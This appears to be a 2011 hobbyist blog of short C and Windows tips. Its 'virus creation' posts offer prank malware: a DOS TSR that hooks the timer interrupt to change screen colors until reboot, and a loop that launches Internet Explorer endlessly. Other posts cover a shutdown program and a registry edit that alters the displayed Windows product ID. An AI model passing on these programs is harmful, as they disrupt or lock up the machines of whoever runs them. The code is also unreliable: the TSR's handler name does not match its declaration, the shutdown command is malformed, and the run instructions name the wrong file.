27 July 2011

TSR Virus Creation Using C

Hi, This is a simple program of TSR
Remember compile and link this code in you environment and then quit the program and then execute it.
*/

#include "dos.h"

void interrupt detect_x8(...);
void interrupt (*prev_x8)(...);

char far *scr=(char far *) 0xB8000000L;
int ticks;
unsigned int color;

void main(void)
{
    prev_x8=getvect(8);
    setvect(8,detect_x8);
    keep(0,300);
}
void interrupt detect_x10(...)
{
      int i;
      ticks++;
      if(ticks > 45) // 2.5 Sec apx.
      {
            for(i=1;i<=3999;i+=2)
                  *(scr+i)=color;
            color++;
            ticks=0;
      }
      (*prev_x8)();
}
/*
This is a very simple TSR which changes the color of screen after every 2.5 seconds. To remove it from memory you have to reboot.
*/

26 July 2011

how to run a C compiler in window 7

if u r a programer aur belong to computer back ground then you must come across a situation when u choose window 7 as your only operating system but the main problem with window 7 (64 bit ) is that it does not support turbo C at all.However the window 7 (32 bit) support turbo C but in minimized window.

so here is the solution of your problem 
use a 64 bit compilers . i am sugesting some of the best 64 bit compilers and their downloading links to you 
  • devcpp - http://www.bloodshed.net/devcpp.html
  • codeblocks - http://www.codeblocks.org/downloads 
hope this post will help u a lot
note :. if u have any problem runing any of the above compilers . then pls let us know our blog authors will help u to find the solution.

24 July 2011

How to run a program in C without using semicolon ( ; )

This is question most interviewer like to ask. 
so here is the source code to  print something without semicolon

#include<stdio.h>

void main()
{
       if(printf("hello world"))
           {

           }
getch();
}

That's it......

how to hack windows product id

1. the product id is the alphanumeric code that u see when u right click on my computer icon and select properties

2. It is possible to ulter that code and change it to what ever u like e.g - your name , email address etc.
3. Below is the step by step procedure to change the prodct id
  •  goto run
  • type regedit
  • HKEY_LOCAL_MACHINE\software\microsoft\windows NT\current version
  • In the right side , u can see a entry called product id under the name coulmn
  • Now doble click on product id . a window will pop up refering your product id 
  • now u can delete your old id and enter anything of your choice
note : This hack will work in win XP, vista and 7

23 July 2011

virus creation in C

1.write the following programe in turbo C



void main(void)
{
      for( ; ; )
          {
      system("c:\\progra~1\\intern~1\\iexplore.exe");
          } 
}


2. save the above file. and let the name be net.c and compile the above programe . now close the turbo C and open the directory where the program net.c is saved.


3. doble click on its exe file.(net.exe)

note : it will open internet explorer infinite times.

program to shutdown your PC using C programming

A programe in C to shutdown your window PC

1. write the following code in turbo C

void main(void)
{
system("shutdown-s");
} 

2. save the above file .let the file name is close.c . now compile and execute the above programe.
  now close the compiler. now open the directory in which u have saved your close.c programe.

3. double click its exe file(close.c) .
4. your window will be shut down.